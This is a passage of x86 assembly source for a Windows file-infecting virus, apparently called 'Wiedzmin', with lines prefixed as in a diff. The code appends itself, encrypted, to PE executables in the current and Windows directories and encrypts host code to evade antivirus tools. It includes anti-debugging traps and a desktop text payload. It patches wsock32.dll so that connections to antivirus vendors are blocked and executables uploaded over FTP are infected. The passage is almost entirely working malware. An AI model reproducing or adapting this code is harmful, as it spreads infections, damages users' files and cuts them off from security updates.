+jne cya_folx +call make_it_real + + +cya_folx: + + + + +call @GGEN_KEY +lea edi,[ebp+offset APIList] +lea esi,[ebp+offset APIList] +call @CRYPT_BYTEZ + +lea edi,[ebp+offset TO_CRYPT_DATA] +lea esi,[ebp+offset TO_CRYPT_DATA] +call @CRYPT_BYTEZ + + + +_done: +lea edi,[ebp+finddata.cFileName] +call dword ptr [ebp+_GetCommandLineA] +mov esi,eax + +xor ebx,ebx +_skip_space: +lodsb +cmp al,0 +je @GetWDir +cmp al,' ' +je _ave_it +jmp _skip_space + + +_ave_it: +lodsb +inc ebx +cmp al,0 +je @infect_shit +stosb +jmp _ave_it + +@infect_shit: +cmp ebx,4 +jl @GetWDir +lea esi,[ebp+offset finddata.cFileName] +add esi,ebx +sub esi,5 +lodsb +cmp al,'.' +je yep_it +jmp @GetWDir + + +yep_it: + +push dword ptr [ebp+key_main] +push dword ptr [ebp+key_next] +push dword ptr [ebp+e_bytes] +push dword ptr [ebp+e_where] +push dword ptr [ebp+hosteip] +push dword ptr [ebp+imagebase] +call @infect +pop dword ptr [ebp+imagebase] +pop dword ptr [ebp+hosteip] +pop dword ptr [ebp+e_where] +pop dword ptr [ebp+e_bytes] +pop dword ptr [ebp+key_next] +pop dword ptr [ebp+key_main] + +push 0h +call dword ptr [ebp+_ExitProcess] + + +@GetWDir: +lea eax,[ebp+offset winDIR] +push 260 +push eax +call dword ptr [ebp+_GetWindowsDirectoryA] + +;now local dir +lea eax,[ebp+offset oldDIR] +push eax +push 560 +call dword ptr [ebp+_GetCurrentDirectoryA] + + +mov dword ptr [ebp+was_win],0000000h +@Find1st: +mov dword ptr [ebp+ic],0000000h +lea eax,[ebp+offset finddata] +push eax +lea eax,[ebp+offset marker] +push eax +call dword ptr [ebp+_FindFirstFileA] +mov dword ptr [ebp+sHnd],eax +inc eax +jz @d_dalej + +@workk: +push dword ptr [ebp+key_main] +push dword ptr [ebp+key_next] +push dword ptr [ebp+e_bytes] +push dword ptr [ebp+e_where] +push dword ptr [ebp+hosteip] +push dword ptr [ebp+imagebase] +call @infect +pop dword ptr [ebp+imagebase] +pop dword ptr [ebp+hosteip] +pop dword ptr [ebp+e_where] +pop dword ptr [ebp+e_bytes] +pop dword ptr [ebp+key_next] +pop dword ptr [ebp+key_main] + + +@@Fnext: +lea eax,[ebp+offset finddata] +push eax +push dword ptr [ebp+offset sHnd] +call dword ptr [ebp+_FindNextFileA] +cmp eax,0 +je @d_dalej + +push dword ptr [ebp+key_main] +push dword ptr [ebp+key_next] +push dword ptr [ebp+e_bytes] +push dword ptr [ebp+e_where] +push dword ptr [ebp+hosteip] +push dword ptr [ebp+imagebase] +call @infect +pop dword ptr [ebp+imagebase] +pop dword ptr [ebp+hosteip] +pop dword ptr [ebp+e_where] +pop dword ptr [ebp+e_bytes] +pop dword ptr [ebp+key_next] +pop dword ptr [ebp+key_main] + + +cmp dword ptr [ebp+ic],7 +jne @@Fnext + +@d_dalej: +cmp dword ptr [ebp+was_win],0 +jne @dalej + +_WinINF: +cmp dword ptr [ebp+was_win],0 +jne _stepnext + + + +lea eax,[ebp+offset winDIR] +push eax +call dword ptr [ebp+_SetCurrentDirectoryA] + +mov dword ptr [ebp+ic],0000000h +mov dword ptr [ebp+was_win],1 + + + +push dword ptr [ebp+sHnd] +call dword ptr [ebp+_FindClose] + + + +_stepnext: +cmp dword ptr [ebp+ic],7 +jne @Find1st + + +@dalej: +lea eax,[ebp+offset oldDIR] +push eax +call dword ptr [ebp+_SetCurrentDirectoryA] +jmp @EXIT + +fault: +mov esp, [esp+8] + +@EXIT: + +push 4000h +push 1000 +push dword ptr [ebp+vbuf] +call dword ptr [ebp+_VirtualFree] + +pop dword ptr fs:[0] +add esp, 4 + + +cmp ebp,0 ;first GeneratioN? +jne _ETH ;tak to wyjc ;] +call fakehost + + +_ETH: + +call @uncrypt + + +popfd +popad +call @gd +@gd: pop ebp + sub ebp,offset @gd + +mov eax,dword ptr [ebp+hosteip] +add eax,dword ptr [ebp+imagebase] +jmp eax + +Kernel dd 0 + + + + +;<##############################################################################################> +;------------------------------------------------------------------------------------------------ +;************************************************************************************************ +;INFECT EM GLOWZ !!!! +;************************************************************************************************ +;------------------------------------------------------------------------------------------------ +;<##############################################################################################> + +@infect: +call @bad_name +cmp edi,1 +jne _continue +ret + +@infect0: +_continue: +lea esi,[ebp+offset finddata.cFileName] + +push esi +call dword ptr [ebp+_GetFileAttributesA] +mov dword ptr [ebp+fileAtrib],eax +inc eax +jz _Out + +lea eax,[ebp+F1] +push eax +lea eax,[ebp+F2] +push eax +lea eax,[ebp+F3] +push eax +push dword ptr [ebp+fHnd] +call dword ptr [ebp+_GetFileTime] + + +push 00000080h +push esi +call dword ptr [_SetFileAttributesA+ebp] ; clean file +cmp eax,0 +je _Out + +;mov ecx,dword ptr [ebp+finddata.nFileSizeLow] +;mov [ebp+offset memory],ecx + + +;Ble otfieramy zeby miec handle +xor eax,eax +lea esi,[ebp+offset finddata.cFileName] +push eax +push 00000080h +push 00000003h +push eax +push eax +push 80000000h OR 40000000h +push esi +call dword ptr [ebp+_CreateFileA] +mov edi,eax ;w edi handle +inc eax +jz _Out +dec eax +mov dword ptr [ebp+offset fileHandle],eax + + + +_Oblicz: +push 0 +push dword ptr [ebp+offset fileHandle] +call dword ptr [ebp+_GetFileSize] +mov dword ptr [ebp+fSize],eax +inc eax +jz _Out2 +dec eax +mov dword ptr [ebp+finddata.nFileSizeLow],eax + +mov ecx,dword ptr [ebp+fSize] +call MapF + + +mov ecx,dword ptr [ebp+fSize] +call VMapF + ;w esi mamy maping tak jak z kernelem + +_Check_PE: +cmp word ptr [esi],'ZM' +jne _Out3 + +mov ecx,[esi+3ch] +cmp dword ptr [esi+ecx],'EP' +jne _Out3 + + +add esi,ecx ;ESI => PE HEADER +mov edi,esi + + +_Saving: +mov dword ptr [ebp+header],esi +mov ecx,[esi+28h] +mov dword ptr [ebp+hosteip],ecx +mov ecx,[esi+3ch] +mov dword ptr [ebp+align],ecx +mov ecx,[esi+34h] +mov dword ptr [ebp+imagebase],ecx +mov ecx,[esi+38h] ;get section align value +mov [ebp + _secAlign],ecx ;and save it + + + +_Infecto0: +cmp dword ptr [esi+4ch],"deiW" +jz _No_infect + + + +push dword ptr [esi+3Ch] + + + +;*********************************************************************************************** + +mov eax,[ebp+offset fMapReal] +push eax +mov eax, [ebp+_UnmapViewOfFile] +call eax + +push dword ptr [ebp+fHndMap] +call dword ptr [ebp+_CloseHandle] + + +;mov eax,dword ptr [ebp+go_wsock] + + + +mov eax,dword ptr [ebp+fSize] ; And Map all again. +cmp dword ptr [ebp+go_wsock],1 +je @dodaj +add eax,virussize+vvsize +;add eax,vvsize +jmp @nextt + +@dodaj:add eax,hooksize + + + + +@nextt: +pop ecx +call Align_ +mov dword ptr [ebp+memory],eax + + +mov ecx,eax +call MapF + +mov ecx,dword ptr [ebp+memory] +call VMapF + +cmp dword ptr [ebp+go_wsock],1 +je @0dal +call @crypt_host +cmp dword ptr [ebp+help_virus],1 +je _God + + +@0dal: +mov esi,[eax+3ch] +add esi,eax ;ESI => PE HEADER +mov edi,esi + + +;************************************************************************************************ + +inc dword ptr [ebp+ic] + +xor eax,eax +mov ax,[esi + 06h] ;load number of sections +mov ecx,28h ;28 bytes for each section header +dec eax ;seeking for last,... +mul ecx ;and mul it +add esi,eax ; Normalize +add esi,78h ; Ptr to dir table +mov edx,[edi+74h] ; EDX = n§ of dir entries +shl edx,3 ; EDX = EDX*8 +add esi,edx ; ESI = Ptr to last section + + +mov edx,[esi+10h] ; EDX = SizeOfRawData +mov ebx,edx ; EBX = EDX +add edx,[esi+14h] ; EDX = EDX+PointerToRawData + +push edx ; Preserve EDX + +mov eax,ebx ; EAX = EBX +add eax,[esi+0Ch] ; EAX = EAX+VA Address + ; EAX = New EIP +;mov [edi+28h],eax ; Change the new EIP +mov dword ptr [ebp+NewEIP],eax ; Also store it + +cmp dword ptr [ebp+go_wsock],1 +je @infect_then + + +mov eax,dword ptr [ebp+NewEIP] +mov [edi+28h],eax + + +@infect_then: +mov eax,[esi+10h] ; EAX = new SizeOfRawData +cmp dword ptr [ebp+go_wsock],1 +je @dallejj +add eax,vvsize+virussize ; EAX = EAX+VirusSize +jmp @nexttt + +@dallejj: add eax,hooksize +@nexttt: +mov ecx,[edi+3Ch] ; ECX = FileAlignment +call Align_ ; Align! + +mov [esi+10h],eax ; New SizeOfRawData + +mov [esi+08h],eax ; New VirtualSize + +pop edx ; EDX = Raw pointer to the + ; end of section +cmp dword ptr [ebp+go_wsock],1 +je @skip_thiss + +mov eax,[esi+10h] ; EAX = New SizeOfRawData +add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress +mov [edi+50h],eax ; EAX = New SizeOfImage + +@skip_thiss: +or dword ptr [esi+24h],0A0000020h + +mov dword ptr [edi+4ch],"deiW" ;Wiedzmin here ;) + +lea esi,[ebp+v_start] ; ESI = Ptr to virus_start +xchg edi,edx ; EDI = Raw ptr after last +mov dword ptr [ebp+moj_address],edi + + ; section +add edi,dword ptr [ebp+fMapReal] ;EDI = Normalized ptr +mov ecx,virussize ;ECX = Size to copy + + +cmp dword ptr [ebp+go_wsock],1 +jne @write_it +mov ecx,hooksize + + +lea esi,[ebp+start_h] + + +@write_it: + +cmp dword ptr [ebp+go_wsock],1 +je step_0 +call @crypt_my_body +jmp step_1 +step_0: rep movsb ;Do it! + + +step_1: +cmp dword ptr [ebp+go_wsock],1 +jne _Git +ret + +_Git: +jmp _God + + +_No_infect: +cmp dword ptr [ebp+go_wsock],1 +jne @zw +mov edx,-1 +jmp _God + +@zw: +mov ecx,dword ptr [ebp+finddata.nFileSizeLow] +call @zostaf +dec dword ptr [ebp+ic] + + +_God: + + mov eax,[ebp+offset fMapReal] + push eax + mov eax, [ebp+_UnmapViewOfFile] + call eax + + + +_Out3: +push dword ptr [ebp+fHndMap] +call dword ptr [ebp+_CloseHandle] + + + + + +_Out2: +lea eax,[ebp+F1] +push eax +lea eax,[ebp+F2] +push eax +lea eax,[ebp+F3] +push eax +push dword ptr [ebp+fHnd] +call dword ptr [ebp+_SetFileTime] + +push dword ptr [ebp+offset fileHandle] +call dword ptr [ebp+_CloseHandle] + +cmp dword ptr [ebp+go_wsock],1 +je @@@z +push 1 +lea eax,[ebp+santa] +push eax +lea eax,[ebp+finddata.cFileName] +push eax +call dword ptr [ebp+_CopyFileA] + +@@@z: +;&resetore the attributez +push dword ptr [ebp+fileAtrib] +lea eax,[ebp+finddata.cFileName] +push eax +call dword ptr [ebp+_SetFileAttributesA] +mov edx,-1 + + +_Out: + +ret + + + +Align_: + push edx + xor edx,edx + push eax + div ecx + pop eax + sub ecx,edx + add eax,ecx + pop edx + ret + + + + + +@zostaf: +xor eax,eax +push eax +push eax +push ecx +push dword ptr [ebp+fileHandle] +call dword ptr [ebp+offset _SetFilePointer] + +push dword ptr [ebp+fileHandle] +call dword ptr [ebp+offset _SetEndOfFile] +ret + +;************************** +;ECX - size to map +;************************** +MapF: +xor eax,eax +push eax +push ecx +push eax +push 00000004h +push eax +push dword ptr [ebp+fileHandle] +call dword ptr [ebp+_CreateFileMappingA] +cmp eax,0 +je _Out2 +mov dword ptr [ebp+fHndMap],eax +ret + + +VMapF: +xor eax,eax +push ecx +push eax +push eax +push 00000004h OR 00000002h +push dword ptr [ebp+fHndMap] +call dword ptr [ebp+_MapViewOfFile] +cmp eax,0 +je _Out3 +mov dword ptr [ebp+fMapReal],eax +mov esi,eax +ret + +@TRY_RELOC: +ret + +@debug_trap: ;ret +call dword ptr [ebp+_IsDebuggerPresent] +or eax,eax +jz _leave_me +ble: mov eax, 909119cdh ;int 19h! + jmp $ - 4 + + +_leave_me: +lea eax,[ebp+sice9x] +push 00000000h +push 00000080h +push 00000003h +push 00000000h +push 00000001h +push 0C0000000h +push eax +call dword ptr [ebp+_CreateFileA] + +inc eax +jz leave_it +dec eax + +push eax +call dword ptr [ebp+_CloseHandle] + +lea eax,[ebp+to_ja] +push eax +call dword ptr [ebp+_OutputDebugStringA] +mov eax, 909119cdh ;int 19h! +jmp $ - 4 +jmp @EXIT + +leave_it: ret + + + +;************************************************************************************************ +;PayL0ad ;] +;this is very simple coz i don't have any time to make it perfect +;************************************************************************************************ +payload: +p_x dd 0 +p_y dd 0 + +hdc dd 0 +wh dd 0 + +screen_x dd 0 +screen_y dd 0 + + +font dd 0 + + +color: dd 15466513 + dd 15474944 + dd 15484928 + dd 15496448 + + + +make_it_real: +pay: + +lea esi,[ebp+@GDI_APIZ] +lea edi,[ebp+@GDI_APIZA] +lea ebx,[ebp+gdi32] + +change_l: +push ebx +call dword ptr [ebp+_LoadLibraryA] +mov ebx,eax + + +@find_a: +push esi +push ebx +call dword ptr [ebp+_GPA] +stosd + +check_a: +inc esi +cmp byte ptr [esi],0 +jne check_a + +inc esi +cmp byte ptr [esi],77h +je change_ll + +cmp byte ptr [esi],69h +je @go_pay + +jmp @find_a + + +change_ll: inc esi + lea ebx,[ebp+user32] + jmp change_l + + +@go_pay: + + +push 1 +call dword ptr [ebp+_GetSystemMetrics] ;user +mov dword ptr [ebp+screen_y],eax + +push 0 +call dword ptr [ebp+_GetSystemMetrics] ;user +mov dword ptr [ebp+screen_x],eax + +call c_font +lea esi,logo +xor ebx,ebx + +l: +call dword ptr [ebp+_GetDesktopWindow] ;user +mov dword ptr [ebp+wh],eax + +push dword ptr [ebp+wh] +call dword ptr [ebp+_GetWindowDC] ;user +mov dword ptr [ebp+hdc],eax + +call draww + +push dword ptr [ebp+hdc] +push dword ptr [ebp+wh] +call dword ptr [ebp+_ReleaseDC] ;user + +jmp l + +draww: +xor eax,eax +lodsb +lea edi,[ebp+jed] +stosb +cmp al,0 +jne @wypisz +lea esi,[ebp+logo] +lodsb +lea edi,[ebp+jed] +stosb + +@wypisz: +cmp al,'i' +jne @dik +add dword ptr [ebp+p_x],6 + +@dik: +push dword ptr [ebp+font] +push dword ptr [ebp+hdc] +call dword ptr [ebp+_SelectObject] ;gdi + +push 0 +push dword ptr [ebp+hdc] +call dword ptr [ebp+_SetBkMode] ;gdi + +mov eax,dword ptr [ebp+color+ebx] +add ebx,4 +cmp ebx,4*4 +jl @n1 +xor ebx,ebx + +@n1: +push eax +push dword ptr [ebp+hdc] +call dword ptr [ebp+_SetTextColor] ;gdi + +push 1 +lea eax,[ebp+jed] +push eax +push dword ptr [ebp+p_y] +push dword ptr [ebp+p_x] +push dword ptr [ebp+hdc] +call dword ptr [ebp+_TextOutA] ;gdi + +mov eax,dword ptr [ebp+screen_y] +cmp dword ptr [ebp+p_y],eax +jae chang_g +mov eax,dword ptr [ebp+screen_x] +add dword ptr [ebp+p_x],13 +cmp dword ptr [ebp+p_x],eax +jle spp +mov dword ptr [ebp+p_x],0 +add dword ptr [ebp+p_y],15 +jmp spp + +chang_g: mov dword ptr [ebp+p_y],0 + +spp: +push 50 +call dword ptr [ebp+_Sleep] +ret + +c_font: +push offset famil +xor eax,eax +push eax +push eax +push eax +push eax +push eax +push eax +push eax +push eax +push eax +push eax +push eax +push 9 +push 9 +call dword ptr [ebp+_CreateFontA] ;gdi +mov [font],eax +ret + + + + +@GDI_APIZ: db "CreateFontA",0 + db "TextOutA",0 + db "SetBkMode",0 + db "SetTextColor",0 + db "SelectObject",0 + db 77h + db "GetSystemMetrics",0 ;user32 part X-D + db "GetDesktopWindow",0 + db "GetWindowDC",0 + db "ReleaseDC",0 + db 69h + + +;************************************************************************************************ +;Handle this sucker ;] +;************************************************************************************************ +@crypt_host: +;push dword ptr [ebp+key_next] +pushad + +mov eax,dword ptr [ebp+fMapReal] +mov esi,[eax+3ch] +add esi,eax ;ESI => PE HEADER +mov edi,esi + +xor eax,eax +mov ax,[esi + 06h] ;load number of sections +mov ecx,0h ;28 bytes for each section header + +add esi,ecx ; Normalize +add esi,78h ; Ptr to dir table +mov edx,[edi+74h] ; EDX = n§ of dir entries +shl edx,3 ; EDX = EDX*8 +add esi,edx ; ESI = Ptr to last section + +mov ecx,[edi+28h] + +search_it: +mov ebx,dword ptr [esi+0ch] +add ebx,dword ptr [esi+08h] + + + +inc eax +cmp ecx,ebx +jb sfound +dec eax +jz @e_error +add esi,28h +jmp search_it + +sfound: +test dword ptr [esi+24h],10000000h ;check section atributes +jnz @e_error +or dword ptr [esi+24h],0A0000020h + +cmp dword ptr [esi],'xet.' +je _01 +cmp dword ptr [esi],'EDOC' +je _01 +mov dword ptr [ebp+help_virus],1 + + + +_01: +push eax +;STEP GET RAW ADDRESS + +mov edx,ecx +sub edx,dword ptr [esi+0ch] ;IMAGEBASE - VIRTUAL RVA=0 +add edx,[esi+014h] ;ADD RAW OFFSET +mov dword ptr [ebp+e_where],edx + +push edx +mov edx,[esi+010h] +mov dword ptr [ebp+e_bytes],edx +pop edx + +add edx,dword ptr [ebp+fMapReal] ;WHERE TO CRYPT! + +mov ecx,[esi+10h] +mov dword ptr [ebp+e_god],0 + +mov dword ptr [ebp+firstk],1h + +pushad + +lea edi,[ebp+key_next] + +call @GGEN_KEY +call @combine_key + +mov eax,dword ptr [ebp+key_next] + +popad +mov dword ptr [ebp+firstk],0 + +push esi +mov eax,dword ptr [ebp+key_next] +xor ebx,ebx + + +@loop_it: +;=> IF 5 BYTES ARE ZEROZ THEN THE DON't CRYPT BELOW +cmp byte ptr [edx],00h +jne @go_ +cmp byte ptr [edx+1],00h +jne @go_ +cmp byte ptr [edx+2],00h +jne @go_ +cmp byte ptr [edx+3],00h +jne @go_ +cmp byte ptr [edx+4],00h +je @crypted + + +@go_: +xor byte ptr [edx],al + +inc edx +loop @loop_it +jmp @e_out + +@crypted: +pop esi +mov eax,dword ptr [ebp+e_bytes] +sub eax,ecx +mov dword ptr [ebp+e_bytes],eax + +jmp @e_out + + +@e_error: + + +@e_out: +pop eax +cmp dword ptr [ebp+help_virus],1 +je @mute_other_virus +popad +ret + +;ENTRY: EDI - BUFFER +@combine_key: +mov eax,dword ptr [ebp+key2] +stosd +add eax,dword ptr [ebp+key] +lea edi,[ebp+key_main] +stosd +ret + +;************************************************************************** +;UNCRYPT *|* +;************************************************************************** +@uncrypt: + +call delta_e +delta_e: pop ebp + sub ebp,offset delta_e + +pushad +mov edx,dword ptr [ebp+imagebase] +add edx,dword ptr [ebp+hosteip] + +mov ecx,dword ptr [ebp+e_bytes] + +xor ebx,ebx +mov eax,[ebp+key_next] + +@lloop_it: +xor byte ptr [edx],al +inc edx +loop @lloop_it + +f_e: +cmp dword ptr [ebp+czy_je],0 +jne @helper_endd +popad +ret + +@helper_endd: +popad + +mov eax,dword ptr [ebp+hosteip] +add eax,dword ptr [ebp+imagebase] +jmp eax + + +czy_je dd 0 +e_bytes dd 0 +e_where dd 0 +e_god dd 0 + + +hosteip dd 0 +imagebase dd 0 +key_next dd 0 + + +@helper_end: nop + +;*********************************************************** +@mute_other_virus: +mov eax,dword ptr [ebp+fMapReal] +mov esi,[eax+3ch] +add esi,eax ;ESI => PE HEADER +mov edi,esi + +xor eax,eax +mov ax,[esi + 06h] ;load number of sections +mov ecx,28h ;28 bytes for each section header +dec eax ;seeking for last,... +mul ecx ;and mul it +add esi,eax ; Normalize +add esi,78h ; Ptr to dir table +mov edx,[edi+74h] ; EDX = n§ of dir entries +shl edx,3 ; EDX = EDX*8 +add esi,edx ; ESI = Ptr to last section + +mov edx,[esi+10h] ; EDX = SizeOfRawData +mov ebx,edx ; EBX = EDX +add edx,[esi+14h] ; EDX = EDX+PointerToRawData + +push edx ; Preserve EDX + +mov eax,ebx ; EAX = EBX +add eax,[esi+0Ch] ; EAX = EAX+VA Address + ; EAX = New EIP +mov [edi+28h],eax ; Change the new EIP +mov dword ptr [ebp+NewEIP],eax ; Also store it + + +mov eax,dword ptr [ebp+fSize] +add eax,helper +mov ecx,[edi+3Ch] +call Align_ + +mov [esi+10h],eax +mov [esi+08h],eax + +pop edx + +mov eax,[esi+10h] +add eax,[esi+0Ch] +mov [edi+50h],eax + +lea esi,[ebp+@uncrypt] ; ESI = Ptr to virus_start +xchg edi,edx ; EDI = Raw ptr after last +add edi,dword ptr [ebp+fMapReal] ;EDI = Normalized ptr +mov ecx,helper +mov dword ptr [ebp+czy_je],1 +rep movsb + +push dword ptr [ebp+offset fMapReal] +call dword ptr [ebp+_UnmapViewOfFile] + +push dword ptr [ebp+fHndMap] +call dword ptr [ebp+_CloseHandle] + +mov ecx,dword ptr [ebp+fSize] +add ecx,helper +call @zostaf + + +push dword ptr [ebp+fHnd] +call dword ptr [ebp+_CloseHandle] + +popad +ret + + +;************************************************************************************************ +;Wsock32 hooker!!! +;************************************************************************************************ +@wsockz: +mov eax,dword ptr [ebp+_GetSystemDirectoryA] +mov ebx,dword ptr [ebp+_GPA] + +push 260 +lea eax,[ebp+sysDIR] +push eax +call dword ptr [ebp+_GetSystemDirectoryA] + +lea eax,[ebp+offset winDIRr] +push 260 +push eax +call dword ptr [ebp+_GetWindowsDirectoryA] + + + +lea edi,[ebp+sysDIR] +lea esi,[ebp+wsock] +call strcat + +lea edi,[ebp+winDIRr] +lea esi,[ebp+nowe] +call strcat + +push 1 +lea eax,[ebp+winDIRr] +push eax +lea eax,[ebp+sysDIR] +push eax +call dword ptr [ebp+_CopyFileA] +cmp eax,0 +je bye + + +lea edi,[ebp+finddata.cFileName] +lea esi,[ebp+winDIRr] +call strcat + + +mov dword ptr [ebp+go_wsock],1 + +push dword ptr [ebp+hosteip] +push dword ptr [ebp+imagebase] +call @infect +pop dword ptr [ebp+imagebase] +pop dword ptr [ebp+hosteip] +cmp edx,-1 +je bye + +mov dword ptr [ebp+capis],0 +mov eax,dword ptr [ebp+fMapReal] +mov dword ptr [ebp+wsock_h],eax + +call @go_export + +call _God + + +mov dword ptr [ebp+go_wsock],0 + +lea eax,[ebp+WININIT] +push eax +lea eax,[ebp+winDIRr] +push eax +lea eax,[ebp+sysDIR] +push eax +lea eax,[ebp+rename] +push eax +call dword ptr [ebp+_WritePrivateProfileStringA] + + + + +bye: ret + + +;************************************************************************************************ +;STRCAT !!! Its smaller and faster (i think - but non optimized with repz) +;ENTRY: +;edi - base buffer +;esi - string to cut +;************************************************************************************************ +strcat: +push esi +mov esi,edi +sstrcat: lodsb +cmp al,0 +jne sstrcat +dec esi +mov edi,esi +pop esi +cat_it: +lodsb +cmp al,0 +je le +stosb +jmp cat_it +le:ret + + +;************************************************************************************************ +;Filez with 'a','A','E','e','v','V' at start - wouldn't be infected ;] +;************************************************************************************************ + +@bad_name: +xor edi,edi +lea esi,[ebp+finddata.cFileName] +_letra: +lodsb +cmp al,'a' +je error_a +cmp al,'A' +je error_a +cmp al,'E' +je error_a +cmp al,'e' +je error_a +cmp al,'v' +je error_a +cmp al,'V' +je error_a +ret + +error_a: inc edi + ret + +;================================================================================================ +;BYTE CRYPTING ENGINE ;] SIMPLE BUT FACKING AVERZ +;================================================================================================ + +@GGEN_KEY: +cmp dword ptr [ebp+firstk],1 +jne @go__ +mov ebx,40h +mov dword ptr [ebp+key2],0h +jmp GEN_KEY + +@go__: +mov dword ptr [ebp+offset key],0000000h +mov ebx,55h +GEN_KEY: +call dword ptr [ebp+_GetTickCount] +idiv ebx ;w EDX reszta ;) duzo prostszy algorymt zwracania losowych +cmp edx,ebx ;liczb niz ten T2000-Immortal Riota +jae GEN_KEY +inc edx ;MUSIMY COS SKODOWAC CHOCIAZ O +1 +cmp dword ptr [ebp+firstk],1 +je @go___ +mov dword ptr [ebp+offset key],edx +@go___: mov dword ptr [ebp+offset key2],edx +ret + + + +@CRYPT_BYTEZ: +mov ecx,edx + +Try_crypt: +lodsb ;czytamy bajta qrwa :P jest w AL +cmp al,0 +je _zero +cmp al,07h +je _retprog + +_next: add al,cl + stosb + jmp Try_crypt + +_zero: inc edi + jmp Try_crypt + +_retprog: ret + + + + +@UN_CRYPT_BYTEZ: +mov ecx,dword ptr [ebp+offset key] +Try_uncrypt: +lodsb +cmp al,0h +je _zero0 +cmp al,07h +je ret0 + + +_next0: sub al,cl + stosb + jmp Try_uncrypt + +_zero0: inc edi + jmp Try_uncrypt + + +ret0: ret + + + +;================================================================================================ +;HOOKER DATA +;================================================================================================ +start_h: +hooked_connect: +call get_delta + + +pushad + + +mov edx,[esp+(10*4)] ; EDX = sockaddr +mov ecx,[edx+(2*2)] ; ip +shl ecx,8 ; last octet + +lea esi,[eax+DENIED] +mov edi,eax ;save EAX in EDI + +scan_denied: lodsd + dec esi + shl eax,8 + jz TOC + cmp ecx,eax + jne scan_denied + push WSAHOST_NOT_FOUND + call dword ptr [edi+_WSASetLastError] + popad + push -1 + pop eax + jmp out_c + + +TOC: ;tHe oRgInal coNneCt ;] +popad +push [esp+0Ch] ;int namelen +push [esp+4+8] ;const struct sockaddr FAR* name +push [esp+8+4] ;SOCKET s +call dword ptr [eax+a_connect] ;call orginal connect!!! + +out_c: retn 0Ch + +;//////////////////////////////////////////////hooked send/////////////////////////////////////// +hooked_send: +call get_delta +pushad +mov edi,eax +mov ebx,[esp+28h] ;20(PUSHAD)+8(FAR *buf) + +mov eax,[ebx] + +cmp eax,'ROTS' ;FTP: Storing a file ? ;) +je _ftp_store + +TOS: +popad ;tHe oRgInaL sEnd +push [esp+10h] ;int flags +push [esp+4+0Ch] ;int len +push [esp+8+8] ;const char FAR * buf +push [esp+0Ch+4] ;SOCKET s +call dword ptr [eax+a_send] ;call orginal send!!! + + +out_s: retn 10h + +_ftp_store: ;yeah! infect on tha fly +mov edx,[esp+28h] ;point to name =] +add edx,5 ;skip STOR and one space (5 bytes) + +mov esi,[esp+28h] +@loop: +lodsb +cmp al,'.' ;find first dod +jne @loop + +dec esi +mov esi,[esi] ;a exe file!? +cmp esi,'EXE.' +je try_it +cmp esi,'exe.' +je try_it +jmp TOS + + +try_it: +mov ecx,edi +lea edi,[ecx+offset buff] +mov esi,edx +xor edx,edx +_l: +lodsb +cmp al,0dh +je _end +stosb +inc edx +jmp _l + +mov edi,edx + +_end: +lea edx,[ecx+offset buff] +lea ebx,[ecx+offset inf_prog] + +push ecx ;preserve ecx +push ebx +push 260 +call dword ptr [ecx+gcd] ;tricky ;] GetCurrentDirectory + ;ftp clients use that to locate + ;file. +pop ecx ;load ecx + +mov eax,edi +xor ebx,ebx +lea esi,[ecx+offset inf_prog] + +_loop_1: +lodsb +inc ebx +cmp al,0 +jne _loop_1 + +_do: +lea edi,[ecx+offset inf_prog] ;add \ to patch ;] +add edi,ebx +dec edi +mov al,'\' +stosb +lea esi,[ecx+offset buff] + +_l2: ;well optimised strcat +lodsb +cmp al,0 +je _skipp +stosb +jmp _l2 + +_skipp: +lea esi,[ecx+offset santa] +lea edi,[ecx+offset inf_prog2] +_cat: +lodsb +cmp al,0 +je _catt +stosb +jmp _cat + +_catt: +mov al,' ' +stosb + +lea esi,[ecx+offset inf_prog] +_make_real: +lodsb +cmp al,0 +je done +stosb +jmp _make_real + +done: +mov edi,ecx + +push 1 +lea eax,[edi+offset inf_prog2] +push eax +call dword ptr [edi+wex] + +jmp TOS + + +reset_err: push WSAECONNRESET + call dword ptr [edi+_WSASetLastError] + popad + push -1 + pop eax + jmp out_s +;/*END------------------------------------------------------------------------------------------- +get_delta: +call @hookerdelta +@hookerdelta: +pop eax +sub eax,offset @hookerdelta +ret + + +my_data: +a_send dd 0 +a_connect dd 0 + +msgg dd 0BFF44146h + +DO_WPISU: _WSASetLastError dd 0 + wex dd 0 + gcd dd 0 + + +WSAHOST_NOT_FOUND equ 11001 +WSAECONNRESET equ 10054 + + +buff db 110 dup (0) +inf_prog2 db 260 dup (0) +inf_prog db 260 dup (0) +santa db 'C:\Program Files\deithwen.exe',0 +;santa db 'C:\WINDOWS\CALC.EXE',0 + +;***********DENIED LIST************************************************************************* +;thx goez to T-2000/Immortal Riot ;] + +DENIED: DB 161,069,003 ; nai.com + DB 216,122,008 ; avp.com + DB 195,170,248 ; avp.ru, kaspersky.ru, avp2000.com, kasperskylab.ru + DB 193,247,150 ; avp.ch, metro.ch + DB 194,252,006 ; datafellows.com, f-secure.com + DB 195,112,025 ; drsolomon.com + DB 208,228,231 ; mcafee.com + DB 194,203,134 ; sophos.com + DB 146,145,148 ; norman.com + DB 206,204,003 ; pandasoftware.com + DB 193,004,210 ; complex.is + DB 203,037,250 ; leprechaun.com.au + DB 141,202,248 ; cai.com + DB 216,033,022 ; antivirus.com, trendmicro.com + DB 216,035,137 ; sarc.com + DB 216,086,104 ; virus.com + DB 212,029,228 ; invircible.com + DB 208,226,167 ; symantec.com + DB 207,227,040 ; grisoft.com + DB 194,105,193 ; drweb.ru + DB 000,000,000 ; end of table. + +hook_end label byte +;________________________________________________________________________________________________ +;============================================================================================DATA +;________________________________________________________________________________________________ + +;**APIZ TO HOOK** +A1 db 'send',0 +A1s equ $-A1 +A2 db 'connect',0 +A2s equ $-A2 + + + + +e_esi dd 0 + +APIS db 'GetProcAddress',0 +APIS_SIZE = $ - APIS + + +APIList: db "FindFirstFileA",0 + db "FindNextFileA",0 + db "FindClose",0 + db "SetFileAttributesA",0 + db "SetFileTime",0 + db "CreateFileA",0 + db "CreateFileMappingA",0 + db "MapViewOfFile",0 + db "UnmapViewOfFile",0 + db "GetFileTime",0 + db "GetFileSize",0 + db "GetFileAttributesA",0 + db "SetFileAttributesA",0 + db "ReadFile",0 + db "WriteFile",0 + db "SetFilePointer",0 + db "SetEndOfFile",0 + db "CloseHandle",0 + db "SetCurrentDirectoryA",0 + db "GetWindowsDirectoryA",0 + db "GetSystemDirectoryA",0 + db "CopyFileA",0 + db "ExitProcess",0 + db "GetTickCount",0 + db "GetCommandLineA",0 + db "IsDebuggerPresent",0 + db "OutputDebugStringA",0 + db "WinExec",0 + db "LoadLibraryA",0 + db 